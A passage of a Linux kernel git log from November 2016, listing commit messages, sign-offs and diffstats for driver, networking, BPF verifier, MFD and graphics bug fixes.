34 +++++++++++++++++++++++++++++++++- 1 file changed, 33 insertions(+), 1 deletion(-) commit 9f46107b8ce4f9a4bd6be50e2967df506d1c1631 Author: Joao Pinto Date: Tue Nov 15 16:10:47 2016 +0000 PCI: designware-plat: Update author email I returned to Synopsys and so I am sending this patch to update the email address of the pcie-designware-plat author. Signed-off-by: Joao Pinto Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-designware-plat.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit fc2480f9b255c820f7111e0e59cbb343c9f95254 Author: Joao Pinto Date: Tue Nov 15 16:10:46 2016 +0000 PCI: designware: Change maintainer to Joao Pinto I accepted the invitation from Pratyush to replace him in the pcie-designware maintenance. This patch makes the maintainer replacement and simplifies the pcie-designware* maintenance structure. Signed-off-by: Joao Pinto Signed-off-by: Bjorn Helgaas CC: Pratyush Anand CC: Jose Abreu MAINTAINERS | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) commit 5f00a8d8a2c2fd99528ab1a3632f0e77f4d25202 Author: Eric Dumazet Date: Wed Nov 16 06:19:02 2016 -0800 cxgb4: do not call napi_hash_del() Calling napi_hash_del() before netif_napi_del() is dangerous if a synchronize_rcu() is not enforced before NAPI struct freeing. Lets leave this detail to core networking stack and feel more comfortable. Signed-off-by: Eric Dumazet Cc: Hariprasad S Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/sge.c | 1 - 1 file changed, 1 deletion(-) commit ea339343d64a14594d882ccb52e8619d42defe5e Author: Eric Dumazet Date: Wed Nov 16 06:12:42 2016 -0800 be2net: do not call napi_hash_del() Calling napi_hash_del() before netif_napi_del() is dangerous if a synchronize_rcu() is not enforced before NAPI struct freeing. Lets leave this detail to core networking stack and feel more comfortable. Signed-off-by: Eric Dumazet Cc: Sathya Perla Cc: Ajit Khaparde Cc: Sriharsha Basavapatna Cc: Somnath Kotur Signed-off-by: David S. Miller drivers/net/ethernet/emulex/benet/be_main.c | 1 - 1 file changed, 1 deletion(-) commit d5a4b1a540b8a9a44888b383472a80b84765aaa0 Author: Lv Zheng Date: Wed Nov 16 17:27:34 2016 +0800 tools/power/acpi: Remove direct kernel source include reference Avoid breaking cross-compiled ACPI tools builds by rearranging the handling of kernel header files. This patch also contains OUTPUT/srctree cleanups in order to make above fix working for various build environments. Fixes: e323c02dee59 (ACPICA: MSVC9: Fix inclusion order issue) Reported-and-tested-by: Yisheng Xie Reported-by: Andy Shevchenko Signed-off-by: Lv Zheng [ rjw: Changelog ] Signed-off-by: Rafael J. Wysocki include/acpi/platform/aclinux.h | 3 +++ tools/power/acpi/Makefile.config | 23 +++++++++--------- tools/power/acpi/Makefile.rules | 40 +++++++++++++++++++++----------- tools/power/acpi/tools/acpidbg/Makefile | 4 +--- tools/power/acpi/tools/acpidbg/acpidbg.c | 8 ++++++- tools/power/acpi/tools/acpidump/Makefile | 12 +++++----- 6 files changed, 56 insertions(+), 34 deletions(-) commit 963abe5c8a0273a1cf5913556da1b1189de0e57a Author: Eric Dumazet Date: Tue Nov 15 22:24:12 2016 -0800 virtio-net: add a missing synchronize_net() It seems many drivers do not respect napi_hash_del() contract. When napi_hash_del() is used before netif_napi_del(), an RCU grace period is needed before freeing NAPI object. Fixes: 91815639d880 ("virtio-net: rx busy polling support") Signed-off-by: Eric Dumazet Cc: Jason Wang Cc: Michael S. Tsirkin Acked-by: Michael S. Tsirkin Signed-off-by: David S. Miller drivers/net/virtio_net.c | 5 +++++ 1 file changed, 5 insertions(+) commit f9c22ec6c1c511285dc539b83aabdabdb6baf245 Author: Keno Fischer Date: Tue Nov 15 17:39:02 2016 -0500 gpio: Remove GPIO_DEVRES option This option was added in 6a89a314ab107a12af08c71420c19a37a30fc2d3 to allow use of the devm_gpio_* functions without CONFIG_GPIOLIB. However, only a few months later in b69ac52449c658b7ac40034dc3c5f5f4a71a723d, CONFIG_GPIOLIB was added as a dependency, defeating the original purpose of this option. Instead of that patch, the original commit could have just been reverted (and in fact was partially so in 403c1d0be5ccbd750d25c59d8358843a81e52e3b). Further, since this option has a dependency on HAS_IOMEM, even though it does not require it, it causes build failures when !HAS_IOMEM (e.g. in a uml build). Fix that by completely removing the option, in essence completing the reversion of the original commit. Signed-off-by: Keno Fischer Signed-off-by: Linus Walleij drivers/gpio/Kconfig | 4 ---- drivers/gpio/Makefile | 2 +- 2 files changed, 1 insertion(+), 5 deletions(-) commit d48756228ee9161ac8836b346589a43fabdc9f3c Author: Keith Busch Date: Tue Nov 15 15:56:26 2016 -0500 nvme/pci: Don't free queues on error The nvme_remove function tears down all allocated resources in the correct order, so no need to free queues on error during initialization. This fixes possible use-after-free errors when queues are still associated with a blk-mq hctx. Reported-by: Scott Bauer Tested-by: Scott Bauer Signed-off-by: Keith Busch Reviewed-by: Sagi Grimberg Reviewed-by: Christoph Hellwig Cc: stable@vger.kernel.org Signed-off-by: Jens Axboe drivers/nvme/host/pci.c | 18 ++++-------------- 1 file changed, 4 insertions(+), 14 deletions(-) commit da7800a88c5a3b798f763d6f9f343e9a49860c4f Author: Rex Zhu Date: Mon Nov 14 16:36:08 2016 +0800 drm/amd/powerplay: avoid out of bounds access on array ps. check array index first and then visit the array. Signed-off-by: Rex Zhu Reviewed-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit c8616671af913ed2c5fb5b45f09c28599458ba1a Merge: bdfdabf ac95330 Author: Stephen Boyd Date: Wed Nov 16 11:10:58 2016 -0800 Merge tag 'sunxi-clk-fixes-for-4.9' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux into clk-fixes Pull Allwinner clock fixes from Maxime Ripard: Two fixes, one for the old clock code, one for the new implementation. * tag 'sunxi-clk-fixes-for-4.9' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux: clk: sunxi: Fix M factor computation for APB1 clk: sunxi-ng: sun6i-a31: Force AHB1 clock to use PLL6 as parent commit bdfdabfedc30c9574dde6198a1739d2be03bf934 Author: Stephen Boyd Date: Wed Nov 16 11:02:00 2016 -0800 clk: efm32gg: Pass correct type to hw provider registration Dan Carpenter reports that we're passing a pointer to a pointer here when we should just be passing a pointer. Pass the right pointer so that the of_clk_hw_onecell_get() sees the appropriate data pointer on its end. Reported-by: Dan Carpenter Cc: Stephen Boyd Cc: Uwe Kleine-König Fixes: 9337631f52a8 ("clk: efm32gg: Migrate to clk_hw based OF and registration APIs") Signed-off-by: Stephen Boyd drivers/clk/clk-efm32gg.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3ca0b51decf780ce6277b088a9f28cd6fb71e372 Author: Stephen Boyd Date: Wed Nov 16 11:02:00 2016 -0800 clk: berlin: Pass correct type to hw provider registration Dan Carpenter reports that we're passing a pointer to a pointer here when we should just be passing a pointer. Pass the right pointer so that the of_clk_hw_onecell_get() sees the appropriate data pointer on its end. Reported-by: Dan Carpenter Cc: Jisheng Zhang Cc: Alexandre Belloni Cc: Sebastian Hesselbarth Cc: Stephen Boyd Fixes: f6475e298297 ("clk: berlin: Migrate to clk_hw based registration and OF APIs") Signed-off-by: Stephen Boyd drivers/clk/berlin/bg2.c | 2 +- drivers/clk/berlin/bg2q.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit a7741713dd361f081e5b48c04f59d0bbb1f32ed3 Merge: b71de93 c94acf8 Author: David S. Miller Date: Wed Nov 16 13:28:34 2016 -0500 Merge branch 'thunderx-fixes' Sunil Goutham says: ==================== net: thunderx: Miscellaneous fixes This patchset includes fixes for incorrect LMAC credits, unreliable driver statistics, memory leak upon interface down e.t.c Changes from v1: - As suggested replaced bit shifting with BIT() macro in the patch 'Fix configuration of L3/L4 length checking'. ==================== Signed-off-by: David S. Miller commit c94acf805d93e7beb5898ac97ff327ae0b6f04dd Author: Sunil Goutham Date: Tue Nov 15 17:38:29 2016 +0530 net: thunderx: Fix memory leak and other issues upon interface toggle This patch fixes the following 1. When interface is being teardown and queues are being cleaned up, free pending SKBs that are in SQ which are either not transmitted or freed as NAPI is disabled by that time. 2. While interface initialization, delay CFG_DONE notification till the end to avoid corner cases where TXQs are enabled but CQ interrupts are not which results blocking transmission and kicking off watchdog. 3. Check for IFF_UP while re-enabling RBDR interrupts from tasklet. Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nicvf_main.c | 11 +++++------ drivers/net/ethernet/cavium/thunder/nicvf_queues.c | 14 +++++++++++++- 2 files changed, 18 insertions(+), 7 deletions(-) commit 964cb69bdc9db255f7c3a80f6e1bed8a25e4c60e Author: Sunil Goutham Date: Tue Nov 15 17:38:16 2016 +0530 net: thunderx: Fix VF driver's interface statistics This patch fixes multiple issues 1. Convert all driver statistics to percpu counters for accuracy. 2. To avoid multiple CQEs posted by a TSO packet appended to HW, TSO pkt's SQE has 'post_cqe' not set but a dummy SQE is added for getting HW transmit completion notification. This dummy SQE has 'dont_send' set and HW drops the pkt pointed to in this thus Tx drop counter increases. This patch fixes this by subtracting SW tx tso counter from HW Tx drop counter for actual packet drop counter. 3. Reset all individual queue's and VNIC HW stats when interface is going down. 4. Getrid off unnecessary counters in hot path. 5. Bringout all CQE error stats i.e both Rx and Tx. Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nic.h | 61 +++++++----- drivers/net/ethernet/cavium/thunder/nic_main.c | 1 + .../net/ethernet/cavium/thunder/nicvf_ethtool.c | 105 +++++++++++--------- drivers/net/ethernet/cavium/thunder/nicvf_main.c | 106 +++++++++++---------- drivers/net/ethernet/cavium/thunder/nicvf_queues.c | 96 +++++++++---------- drivers/net/ethernet/cavium/thunder/nicvf_queues.h | 24 +---- 6 files changed, 197 insertions(+), 196 deletions(-) commit cadcf95a4f70362c96a8fe39ff5d5df830d4db7f Author: Sunil Goutham Date: Tue Nov 15 17:37:54 2016 +0530 net: thunderx: Fix configuration of L3/L4 length checking This patch fixes enabling of HW verification of L3/L4 length and TCP/UDP checksum which is currently being cleared. Also fixed VLAN stripping config which is being cleared when multiqset is enabled. Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nicvf_queues.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 712c3185344050c591d78584542bd945e4f6f778 Author: Sunil Goutham Date: Tue Nov 15 17:37:36 2016 +0530 net: thunderx: Program LMAC credits based on MTU Programming LMAC credits taking 9K frame size by default is incorrect as for an interface which is one of the many on the same BGX/QLM no of credits available will be less as Tx FIFO will be divided across all interfaces. So let's say a BGX with 40G interface and another BGX with multiple 10G, bandwidth of 10G interfaces will be effected when traffic is running on both 40G and 10G interfaces simultaneously. This patch fixes this issue by programming credits based on netdev's MTU. Also fixed configuring MTU to HW and added CQE counter for pkts which exceed this value. Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/nic.h | 3 +- drivers/net/ethernet/cavium/thunder/nic_main.c | 36 +++++++++++++------- drivers/net/ethernet/cavium/thunder/nic_reg.h | 1 + drivers/net/ethernet/cavium/thunder/nicvf_main.c | 38 ++++++++++++---------- drivers/net/ethernet/cavium/thunder/nicvf_queues.c | 3 ++ drivers/net/ethernet/cavium/thunder/nicvf_queues.h | 2 ++ 6 files changed, 53 insertions(+), 30 deletions(-) commit 612e94bd99912f3b2ac616c00c3dc7f166a98005 Author: Radha Mohan Chintakuntla Date: Tue Nov 15 17:37:16 2016 +0530 net: thunderx: Introduce BGX_ID_MASK macro to extract bgx_id This patch fixes the 'bgx_id' determination on 83xx where there are 4 BGX blocks instead of 2 on other platforms. Signed-off-by: Radha Mohan Chintakuntla Signed-off-by: Sunil Goutham Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/thunder_bgx.c | 4 ++-- drivers/net/ethernet/cavium/thunder/thunder_bgx.h | 2 ++ 2 files changed, 4 insertions(+), 2 deletions(-) commit b71de936c38e80d1f059fd54d8704e9d86d6bd10 Merge: f23cc64 3114cdf Author: David S. Miller Date: Wed Nov 16 13:24:51 2016 -0500 Merge branch 'fib-tables-fixes' Alexander Duyck says: ==================== ipv4: Fix memory leaks and reference issues in fib This series fixes one major issue and one minor issue in the fib tables. The major issue is that we had lost the functionality that was flushing the local table entries from main after we had unmerged the two tries. In order to regain the functionality I have performed a partial revert and then moved the functionality for flushing the external entries from main into fib_unmerge. The minor issue was a memory leak that could occur in the event that we weren't able to add an alias to the local trie resulting in the fib alias being leaked. ==================== Signed-off-by: David S. Miller commit 3114cdfe66c156345b0ae34e2990472f277e0c1b Author: Alexander Duyck Date: Tue Nov 15 05:46:12 2016 -0500 ipv4: Fix memory leak in exception case for splitting tries Fix a small memory leak that can occur where we leak a fib_alias in the event of us not being able to insert it into the local table. Fixes: 0ddcf43d5d4a0 ("ipv4: FIB Local/MAIN table collapse") Reported-by: Eric Dumazet Signed-off-by: Alexander Duyck Acked-by: Eric Dumazet Signed-off-by: David S. Miller net/ipv4/fib_trie.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 3b7093346b326e5d3590c7d49f6aefe6fa5b2c9a Author: Alexander Duyck Date: Tue Nov 15 05:46:06 2016 -0500 ipv4: Restore fib_trie_flush_external function and fix call ordering The patch that removed the FIB offload infrastructure was a bit too aggressive and also removed code needed to clean up us splitting the table if additional rules were added. Specifically the function fib_trie_flush_external was called at the end of a new rule being added to flush the foreign trie entries from the main trie. I updated the code so that we only call fib_trie_flush_external on the main table so that we flush the entries for local from main. This way we don't call it for every rule change which is what was happening previously. Fixes: 347e3b28c1ba2 ("switchdev: remove FIB offload infrastructure") Reported-by: Eric Dumazet Cc: Jiri Pirko Signed-off-by: Alexander Duyck Acked-by: Eric Dumazet Signed-off-by: David S. Miller include/net/ip_fib.h | 1 + net/ipv4/fib_frontend.c | 20 +++++++++++---- net/ipv4/fib_trie.c | 65 +++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 81 insertions(+), 5 deletions(-) commit f23cc643f9baec7f71f2b74692da3cf03abbbfda Author: Josef Bacik Date: Mon Nov 14 15:45:36 2016 -0500 bpf: fix range arithmetic for bpf map access I made some invalid assumptions with BPF_AND and BPF_MOD that could result in invalid accesses to bpf map entries. Fix this up by doing a few things 1) Kill BPF_MOD support. This doesn't actually get used by the compiler in real life and just adds extra complexity. 2) Fix the logic for BPF_AND, don't allow AND of negative numbers and set the minimum value to 0 for positive AND's. 3) Don't do operations on the ranges if they are set to the limits, as they are by definition undefined, and allowing arithmetic operations on those values could make them appear valid when they really aren't. This fixes the testcase provided by Jann as well as a few other theoretical problems. Reported-by: Jann Horn Signed-off-by: Josef Bacik Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller include/linux/bpf_verifier.h | 5 ++-- kernel/bpf/verifier.c | 70 +++++++++++++++++++++++++++++--------------- 2 files changed, 50 insertions(+), 25 deletions(-) commit 984573abf8d09bace3cf8cda224bacb75b4c61d2 Merge: 116fc01 59c3b76 Author: Linus Torvalds Date: Wed Nov 16 09:20:10 2016 -0800 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/mszeredi/fuse Pull fuse fixes from Miklos Szeredi: "A regression fix and bug fix bound for stable" * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/mszeredi/fuse: fuse: fix fuse_write_end() if zero bytes were copied fuse: fix root dentry initialization commit 116fc01f2ed7578e70ea85c67f6507ae50a5932e Merge: 81bcfe5 722f191 Author: Linus Torvalds Date: Wed Nov 16 09:09:00 2016 -0800 Merge tag 'mfd-fixes-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/lee/mfd Pull MFD fixes from Lee Jones: - Fix PCI properties in intel-lpss-pci - Fix Resetting issue during suspend in intel-lpss-pci - Seperate IRQs for USBC device and CHRG in intel_soc_pmic_bxtwc - Add timeout to fix Resetting issue in stmpe - Ensure we 'put' reference to device when done in mfd-core * tag 'mfd-fixes-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/lee/mfd: mfd: core: Fix device reference leak in mfd_clone_cell mfd: stmpe: Fix RESET regression on STMPE2401 mfd: intel_soc_pmic_bxtwc: Fix usbc interrupt mfd: intel-lpss: Do not put device in reset state on suspend mfd: lpss: Fix Intel Kaby Lake PCH-H properties commit 4cb19355ea19995941ccaad115dbfac6b75215ca Author: Dan Williams Date: Wed Nov 16 09:00:38 2016 -0800 device-dax: fail all private mapping attempts The device-dax implementation originally tried to be tricky and allow private read-only mappings, but in the process allowed writable MAP_PRIVATE + MAP_NORESERVE mappings. For simplicity and predictability just fail all private mapping attempts since device-dax memory is statically allocated and will never support overcommit. Cc: Cc: Dave Hansen Fixes: dee410792419 ("/dev/dax, core: file operations and dax-mmap") Reported-by: Pawel Lebioda Signed-off-by: Dan Williams drivers/dax/dax.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 19ff7fcc76e6911a955742b40f85ba1030ccba5e Author: Mike Marshall Date: Wed Nov 16 11:52:19 2016 -0500 orangefs: add .owner to debugfs file_operations Without ".owner = THIS_MODULE" it is possible to crash the kernel by unloading the Orangefs module while someone is reading debugfs files. Signed-off-by: Mike Marshall fs/orangefs/orangefs-debugfs.c | 2 ++ 1 file changed, 2 insertions(+) commit 2ab13292d7a314fa45de0acc808e41aaad31989c Author: Paul Jakma Date: Wed Nov 16 10:13:49 2016 +0000 USB: serial: cp210x: add ID for the Zone DPMX The BRIM Brothers Zone DPMX is a bicycle powermeter. This ID is for the USB serial interface in its charging dock for the control pods, via which some settings for the pods can be modified. Signed-off-by: Paul Jakma Cc: Barry Redmond Cc: stable Signed-off-by: Johan Hovold drivers/usb/serial/cp210x.c | 1 + 1 file changed, 1 insertion(+) commit 722f191080de641f023feaa7d5648caf377844f5 Author: Johan Hovold Date: Tue Nov 1 11:38:18 2016 +0100 mfd: core: Fix device reference leak in mfd_clone_cell Make sure to drop the reference taken by bus_find_device_by_name() before returning from mfd_clone_cell(). Fixes: a9bbba996302 ("mfd: add platform_device sharing support for mfd") Signed-off-by: Johan Hovold Signed-off-by: Lee Jones drivers/mfd/mfd-core.c | 2 ++ 1 file changed, 2 insertions(+) commit f40584200bc4af7aa4399635b9ac213c62a13ae7 Author: Linus Walleij Date: Tue Nov 1 10:22:53 2016 +0100 mfd: stmpe: Fix RESET regression on STMPE2401 Since commit c4dd1ba355aae2bc3d1213da6c66c53e3c31e028 ("mfd: stmpe: Add reset support for all STMPE variant") we're resetting the STMPE expanders before use. This caused a regression on the STMP2401 on the Nomadik NHK8815: stmpe-i2c 0-0043: stmpe2401 detected, chip id: 0x101 nmk-i2c 101f8000.i2c0: write to slave 0x43 timed out nmk-i2c 101f8000.i2c0: no ack received after address transmission stmpe-i2c 0-0044: stmpe2401 detected, chip id: 0x101 nmk-i2c 101f8000.i2c0: write to slave 0x44 timed out nmk-i2c 101f8000.i2c0: no ack received after address transmission It turns out that we start to poll for the reset bit to go low again too quickly: the STMPE2401 is not yet online and ready to be asked for the status of the RESET bit. By introducing a 10ms delay before starting to hammer the register for information, we get back to normal: stmpe-i2c 0-0043: stmpe2401 detected, chip id: 0x101 stmpe-i2c 0-0044: stmpe2401 detected, chip id: 0x101 Cc: stable@vger.kernel.org Cc: Amelie Delaunay Fixes: c4dd1ba355aa ("mfd: stmpe: Add reset support for all STMPE variant") Signed-off-by: Linus Walleij Acked-by: Patrice Chotard Signed-off-by: Lee Jones drivers/mfd/stmpe.c | 2 ++ 1 file changed, 2 insertions(+) commit 9600702082b29fd3f8a6d744df74ad4c48d4a432 Author: Heikki Krogerus Date: Mon Oct 17 10:32:13 2016 +0300 mfd: intel_soc_pmic_bxtwc: Fix usbc interrupt The wcove USB Type-C driver is currently being flooded with interrupts that are not targeted to it. The reason for that is because all CHRG first level interrupts are mapped to it. This fixes the issue by introducing separate irq for the usbc device, and mapping only USB Type-C PHY interrupts to it. Fixes: 9c6235c86332 ("mfd: intel_soc_pmic_bxtwc: Add bxt_wcove_usbc device") Signed-off-by: Heikki Krogerus Signed-off-by: Lee Jones drivers/mfd/intel_soc_pmic_bxtwc.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 274e43edcda6f709aa67e436b3123e45a6270923 Author: Azhar Shaikh Date: Wed Oct 12 10:12:20 2016 -0700 mfd: intel-lpss: Do not put device in reset state on suspend Commit 41a3da2b8e163 ("mfd: intel-lpss: Save register context on suspend") saved the register context while going to suspend and also put the device in reset state. Due to the resetting of device, system cannot enter S3/S0ix states when no_console_suspend flag is enabled. The system and serial console both hang. The resetting of device is not needed while going to suspend. Hence remove this code. Cc: stable@vger.kernel.org Fixes: 41a3da2b8e163 ("mfd: intel-lpss: Save register context on suspend") Signed-off-by: Azhar Shaikh Acked-by: Mika Westerberg Reviewed-by: Andy Shevchenko Signed-off-by: Lee Jones drivers/mfd/intel-lpss.c | 3 --- 1 file changed, 3 deletions(-) commit 2c8c34167c987e463d62a55384fcec7fa8d03a54 Author: Jarkko Nikula Date: Thu Sep 29 12:59:39 2016 +0300 mfd: lpss: Fix Intel Kaby Lake PCH-H properties There are a few issues on Intel Kaby Lake PCH-H properties added by commit a6a576b78e09 ("mfd: lpss: Add Intel Kaby Lake PCH-H PCI IDs"): - Input clock of I2C controller on Intel Kaby Lake PCH-H is 120 MHz not 133 MHz. This was probably copy-paste error from Intel Broxton I2C properties. - There is no default I2C SDA hold time specified which is used when ACPI doesn't provide it. I got information from Windows driver team that Kaby Lake PCH-H can use the same configuration than Intel Sunrisepoint PCH. - Common HS-UART properties are not used. Fix these by reusing the Sunrisepoint properties on Kaby Lake PCH-H. Fixes: a6a576b78e09 ("mfd: lpss: Add Intel Kaby Lake PCH-H PCI IDs") Reported-by: Xiang A Wang Signed-off-by: Jarkko Nikula Acked-by: Mika Westerberg Signed-off-by: Lee Jones drivers/mfd/intel-lpss-pci.c | 31 +++++++++---------------------- 1 file changed, 9 insertions(+), 22 deletions(-) commit c499336cea8bbe15554c6fcea2138658c5395bfe Author: Kan Liang Date: Tue Nov 15 13:40:10 2016 -0500 perf/x86/uncore: Fix crash by removing bogus event_list[] handling for SNB client uncore IMC Vince Weaver reported the following bug when KASAN is enabled: [ 205.748005] BUG: KASAN: slab-out-of-bounds in snb_uncore_imc_event_del+0x6c/0xa0 at addr ffff8800caa43768 [ 205.758324] Read of size 8 by task perf_fuzzer/6618 It's caused by accessing box->event_list. For client IMC, there are no generic counters. It defines its own fixed free running counters. So event_list and n_events are unused. They can be removed safely, which fixes the bug. ( There's still the separate question of how uninitialized state snuck into this data structure - but that's a separate fix. ) Reported-by: Vince Weaver Tested-by: Vince Weaver Signed-off-by: Kan Liang Cc: Peter Zijlstra Cc: Peter Zijlstra Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Stephane Eranian Cc: Vince Weaver Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Alexander Shishkin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: acme@kernel.org Cc: davej@codemonkey.org.uk Cc: dvyukov@google.com Cc: eranian@gmail.com Link: http://lkml.kernel.org/r/1479235210-29090-1-git-send-email-kan.liang@intel.com Signed-off-by: Ingo Molnar arch/x86/events/intel/uncore_snb.c | 12 ------------ 1 file changed, 12 deletions(-) commit f96acec8c8020807429d21324547f4b904c37177 Author: David Herrmann Date: Tue Nov 15 13:01:58 2016 +0100 x86/sysfb: Fix lfb_size calculation The screen_info.lfb_size field is shifted by 16 bits *only* in case of VBE. This has historical reasons since VBE advertised it similarly. However, in case of EFI framebuffers, the size is no longer shifted. Fix the x86 simple-framebuffer setup code to use the correct size in the non-VBE case. While at it, avoid variable abbreviations and rename 'len' to 'length', and use the correct types matching the screen_info definition. Signed-off-by: David Herrmann Acked-by: Thomas Gleixner Cc: Linus Torvalds Cc: Matt Fleming Cc: Peter Zijlstra Cc: Tom Gundersen Link: http://lkml.kernel.org/r/20161115120158.15388-3-dh.herrmann@gmail.com Signed-off-by: Ingo Molnar arch/x86/kernel/sysfb_simplefb.c | 25 +++++++++++++++++-------- 1 file changed, 17 insertions(+), 8 deletions(-) commit 9164b4ceb7b492a77c7fe770a4b9d1375c9cd45a Author: David Herrmann Date: Tue Nov 15 13:01:57 2016 +0100 x86/sysfb: Add support for 64bit EFI lfb_base The screen_info object was extended to support 64-bit lfb_base addresses in: ae2ee627dc87 ("efifb: Add support for 64-bit frame buffer addresses") However, the x86 simple-framebuffer setup code never made use of it. Fix it to properly assemble and verify the lfb_base before advertising simple-framebuffer devices. In particular, this means if VIDEO_CAPABILITY_64BIT_BASE is set, the screen_info->ext_lfb_base field will contain the upper 32bit of the actual lfb_base. Make sure the address is not 0 (i.e., unset), as well as does not overflow the physical address type. Signed-off-by: David Herrmann Acked-by: Thomas Gleixner Cc: Linus Torvalds Cc: Matt Fleming Cc: Peter Zijlstra Cc: Tom Gundersen Link: http://lkml.kernel.org/r/20161115120158.15388-2-dh.herrmann@gmail.com Signed-off-by: Ingo Molnar arch/x86/kernel/sysfb_simplefb.c | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) commit bc9db5ad3253c8e17969bd802c47b73e63f125ab Author: Ville Syrjälä Date: Fri Nov 11 19:14:24 2016 +0200 drm/i915: Assume non-DP++ port if dvo_port is HDMI and there's no AUX ch specified in the VBT My heuristic for detecting type 1 DVI DP++ adaptors based on the VBT port information apparently didn't survive the reality of buggy VBTs. In this particular case we have a machine with a natice HDMI port, but the VBT tells us it's a DP++ port based on its capabilities. The dvo_port information in VBT does claim that we're dealing with a HDMI port though, but we have other machines which do the same even when they actually have DP++ ports. So that piece of information alone isn't sufficient to tell the two apart. After staring at a bunch of VBTs from various machines, I have to conclude that the only other semi-reliable clue we can use is the presence of the AUX channel in the VBT. On this particular machine AUX channel is specified as zero, whereas on some of the other machines which listed the DP++ port as HDMI have a non-zero AUX channel. I've also seen VBTs which have dvo_port a DP but have a zero AUX channel. I believe those we need to treat as DP ports, so we'll limit the AUX channel check to just the cases where dvo_port is HDMI. If we encounter any more serious failures with this heuristic I think we'll have to have to throw it out entirely. But that could mean that there is a risk of type 1 DVI dongle users getting greeted by a black screen, so I'd rather not go there unless absolutely necessary. v2: Remove the duplicate PORT_A check (Daniel) Fix some typos in the commit message Cc: Daniel Otero Cc: stable@vger.kernel.org Tested-by: Daniel Otero Fixes: d61992565bd3 ("drm/i915: Determine DP++ type 1 DVI adaptor presence based on VBT") Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97994 Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1478884464-14251-1-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Daniel Vetter (cherry picked from commit 7a17995a3dc8613f778a9e2fd20e870f17789544) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_bios.c | 30 ++++++++++++++++++++++-------- drivers/gpu/drm/i915/intel_vbt_defs.h | 3 ++- 2 files changed, 24 insertions(+), 9 deletions(-) commit b3cfaa31e3851c743d3f9d3441710f7ff6f7e868 Author: Sabrina Dubroca Date: Tue Nov 15 11:16:35 2016 +0100 rtnetlink: fix rtnl message size computation for XDP rtnl_xdp_size() only considers the size of the actual payload attribute, and misses the space taken by the attribute used for nesting (IFLA_XDP). Fixes: d1fdd9138682 ("rtnl: add option for setting link xdp prog") Signed-off-by: Sabrina Dubroca Reviewed-by: Brenden Blanco Signed-off-by: David S. Miller net/core/rtnetlink.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 7e75f74a171a8146cc3ee92d5562878b40c25fb5 Author: Sabrina Dubroca Date: Tue Nov 15 10:39:03 2016 +0100 rtnetlink: fix rtnl_vfinfo_size The size reported by rtnl_vfinfo_size doesn't match the space used by rtnl_fill_vfinfo. rtnl_vfinfo_size currently doesn't account for the nest attributes used by statistics (added in commit 3b766cd83232), nor for struct ifla_vf_tx_rate (since commit ed616689a3d9, which added ifla_vf_rate to the dump without removing ifla_vf_tx_rate, but replaced ifla_vf_tx_rate with ifla_vf_rate in the size computation). Fixes: 3b766cd83232 ("net/core: Add reading VF statistics through the PF netdevice") Fixes: ed616689a3d9 ("net-next:v4: Add support to configure SR-IOV VF minimum and maximum Tx rate through ip tool") Signed-off-by: Sabrina Dubroca Signed-off-by: David S. Miller net/core/rtnetlink.c | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) commit e88a2766143a27bfe6704b4493b214de4094cf29 Author: Eric Dumazet Date: Mon Nov 14 16:28:42 2016 -0800 gro_cells: mark napi struct as not busy poll candidates Rolf Neugebauer reported very long delays at netns dismantle. Eric W. Biederman was kind enough to look at this problem and noticed synchronize_net() occurring from netif_napi_del() that was added in linux-4.5 Busy polling makes no sense for tunnels NAPI. If busy poll is used for sessions over tunnels, the poller will need to poll the physical device queue anyway. netif_tx_napi_add() could be used here, but function name is misleading, and renaming it is not stable material, so set NAPI_STATE_NO_BUSY_POLL bit directly. This will avoid inserting gro_cells napi structures in napi_hash[] and avoid the problematic synchronize_net() (per possible cpu) that Rolf reported. Fixes: 93d05d4a320c ("net: provide generic busy polling to all NAPI drivers") Signed-off-by: Eric Dumazet Reported-by: Rolf Neugebauer Reported-by: Eric W. Biederman Acked-by: Cong Wang Tested-by: Rolf Neugebauer Signed-off-by: David S. Miller include/net/gro_cells.h | 3 +++ 1 file changed, 3 insertions(+) commit 73e2d5e34b6cdd1080038daf3d6d6d744a9eefe6 Author: Pablo Neira Date: Mon Nov 14 23:40:30 2016 +0100 udp: restore UDPlite many-cast delivery Honor udptable parameter that is passed to 